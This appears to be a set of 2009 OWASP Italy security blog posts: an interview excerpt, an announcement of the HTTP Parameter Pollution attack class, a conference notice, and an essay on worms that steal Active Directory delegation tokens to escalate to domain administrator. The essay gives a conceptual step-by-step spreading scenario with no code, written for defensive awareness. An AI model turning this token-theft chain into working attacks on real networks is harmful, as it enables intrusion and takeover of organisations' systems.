The entire cycle from launching to completion should last nearly six months and we will be expecting all the approved proposals to be executed in time to be presented in our next Summit which will be probably held next November.

Even if we are expecting applications from the majority of the former season of code participants, we certainly welcome new ones. In addition, to review the approved projects, several positions will also be open.

We are counting on involving no less than hundred people in the OWASP Winter of Code 2009 and we hope you can be one of them. Please check our main page for updates.

You have more than 8 years of experience in information security. What have you seen changing in this period with respect to web application security? Are most types of vulnerabilities still the same or are there any genuinely new developments?

The research on Application Security is a very active field. We are finding new vulnerabilities and new types of attack every week. That's why we have to verify continuously the security of a web application also if the application is not changed during that time.

What do you consider the most underestimated risk for web applications in the near future?

Every application is completely different from the others. Web Application Security is dynamic, it changes every day. The risk for the Companies is to think statically: If you think statically to your application probably you will expose that to some security trouble in the future. That’s why keeping up-to-date is a key factor for the Companies: the OWASP Community could contribute giving state of the art open guidelines and tools.

Http Parameter Pollution a new web attack category (not just a new buzzword :p)

2009-05-19T02:22:00.000-07:00

On May 14th @ OWASP Appsec Poland 2009, me & Luca Carettoni presented a new attack category called Http Parameter Pollution (HPP).

HPP attacks can be defined as the feasibility to override or add HTTP GET/POST parameters by injecting query string delimiters.
It affects a building block of all web technologies thus server-side and client-side attacks exist.
Exploiting HPP vulnerabilities, it may be possible to:

Override existing hardcoded HTTP parameters.
Modify the application behaviors.
Access and, potentially exploit, uncontrollable variables.
Bypass input validation checkpoints and WAFs rules.

Just to whet your appetite, I can anticipate that by researching real world HPP vulnerabilities, we found issues on some Google Search Appliance front-end scripts, Ask.com, Yahoo! Mail Classic and several other products.

You can download the slides of the talk here (pdf) or browse it on Slideshare.

Also, we'll soon release a whitepaper in order to clarify all details about HPP.

As last news, in a few days the video of "Yahoo! Classic Mail" exploitation of Client Side HPP will be available on this blog.
So...stay tuned!

OWASP-Italy Day III - Next 23rd February

2009-02-11T15:40:00.000-08:00

OWASP Day III - "Web Application Security: research meets industry"

Background:

Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software. OWASP mission is to make application security "visible," so that people and organizations can make informed decisions about application security risks.
Everyone is free to participate to the OWASP community and all the produced materials are available under a free and open software license.

The OWASP Day 3 follows the success of the past OWASP Italy Day and, in particular, the OWASP-Day II that received 250 subscriptions of attendees come from widespread business area: Telecommunication, Finance, Banking, Assurance, Government Companies.

Goals and Topics:

The OWASP Days have always offered a forum for discussion and exchange of ideas among researchers and practitioners who present their experiences and discuss issues related to Web Application Security from a higher level to a technical point of view.

Conference topics include, but are not limited to:
* The evolution of attacks and countermeasures for the security in the Web Application
* Case studies of how the Companies have adopted the OWASP Guidelines in their SDLC.
* Application Security Assessment Model
* Data Privacy Enabling Technology
* Experience report in applying OWASP guidelines to industries

Agenda

The detailed agenda of the conference is available here:
OWASP-Italy Day III

Registration and fee:

The conference is open to all attendees for free (coffee break and business lunch are included) but it requires (mandatory) registration at the following URL:
http://www.daisy-net.com/owasp

In order to guaranty a well organized event, the unregistered attendees will not be allowed to access the conference.

Location:

The OWASP-Italy Day III will be hosted by:

Centro di Competenza ICT SUD - Puglia
Department of Informatics
University of Bari
Via E. Orabona n.4.
70125 - Bari
Italy

Details and Location

Official site
Location

Shields up against Domain Escalation Worms

2009-01-26T02:13:00.000-08:00

Internal networks are the core of the business activity. Resources should be available, shares must be reachable, and servers should expose a wide number of services that are used every day by employees. Enterprise officers usually agree that security components are easier to manage if they are centralized and that password rotation is also better achieved Single Sign On architectures are used. Active Directory is one of the most deployed and pervasive Single Sign On solutions with 40% Market Share in large organizations (Microsoft Custom Research Market Study, May 2004). Active Directory “using the same database, for use primarily in Windows environments, allows administrators to assign policies, deploy software, and apply critical updates to an organization” (Wikipedia).

Unfortunately Enterprise networks are still very vulnerable to attacks performed from the inside of the network. Skilled attackers leveraging multiple types of attacks can easily obtain access to most of the systems. Some of the techniques include: exploiting unpatched systems (more the services exposed, more the breaches), exploiting unpatched applications, performing layer 2 attacks and riding trust between systems. Things get worse if we consider that most of the previous attacks can be pursued by an automated program and not by a physical attacker. Worms are able to spread across networks in very subtle ways and can easily spread from the inside when a laptop gets infected. From such privileged position, it’s easier to further spread by exploiting vulnerabilities on unpatched systems as shown by the recent Downadup Worm (W32.Downadup Symantec Security Response).

Since Active Directory is fundamentally a centralized Single Sign On architecture that authenticates and authorizes resources using Kerberos, Active Directory creates implicit trusts between systems. Authenticated clients in possession of privileged access grants are able to access or to delegate their grants to other systems. Once a user is authenticated, he receives a session token signed by AD authority and he does not need to enter his credentials again.

Can Worms spread faster by exploiting the Active Directory trust model? Could a Worm impersonate other users to escalate privileges in an Active Directory environment?

A Domain Escalation attack takes places when a malicious user is able to extend his privileges on the Active Directory Domain. One of the most ingenious ways to accomplish this task is to impersonate another user that has a higher set of privileges by stealing his Active Directory token (or session). Luke Jennings from MWR Infosecurity in his brilliant paper describes all the details of this particular attack (MWR Infosecurity Delegation Token Security Explained).

Any task with Local Administrative privileges is able to grab the token from any process that has previously obtained a delegation. It’s easier to say that if your machine gets infected by a malicious piece of software, this software can get domain privileges by waiting that a remote system will use delegation remotely to perform any kind of operation. How long should it wait? Not, so long, considering that also WSUS service may use delegation while pushing updates and Remote Desktop uses it as well.

Example of Internal Spreading process:

CEO’s Laptop get Infected by a Worm at the Airport;
CEO’s after a week gets back to the headquarter and authenticates to Active Directory Domain;
The worm start spreading on a limited number of systems using MS08-067 or 06-040 or similar publicly known exploits
The worm reveals to be a Domain Escalation Worm and start monitoring the properties of the local processes on the compromised machines;
When a new local process is created with a Delegation token of a domain user, the worm is able to steal that token and to impersonate the remote user
The worm start spreading with the new obtained privileges

As it’s possible to see the combined usage of other spreading vectors increase the number of monitored systems and the chance to impersonate a highly privileged user (e.g. users that belongs to “Domain Administrator”, “Enterprise Administrator”, “Workstation Administrators” groups ).

Conclusions
Worms may use this technique to spread faster. The process could be easily automated, for targeting only privileged users of the Active Directory domain . If a Worm can then impersonate a Domain Administrator, via a Policy Deploy rule it can infect any machine in the network.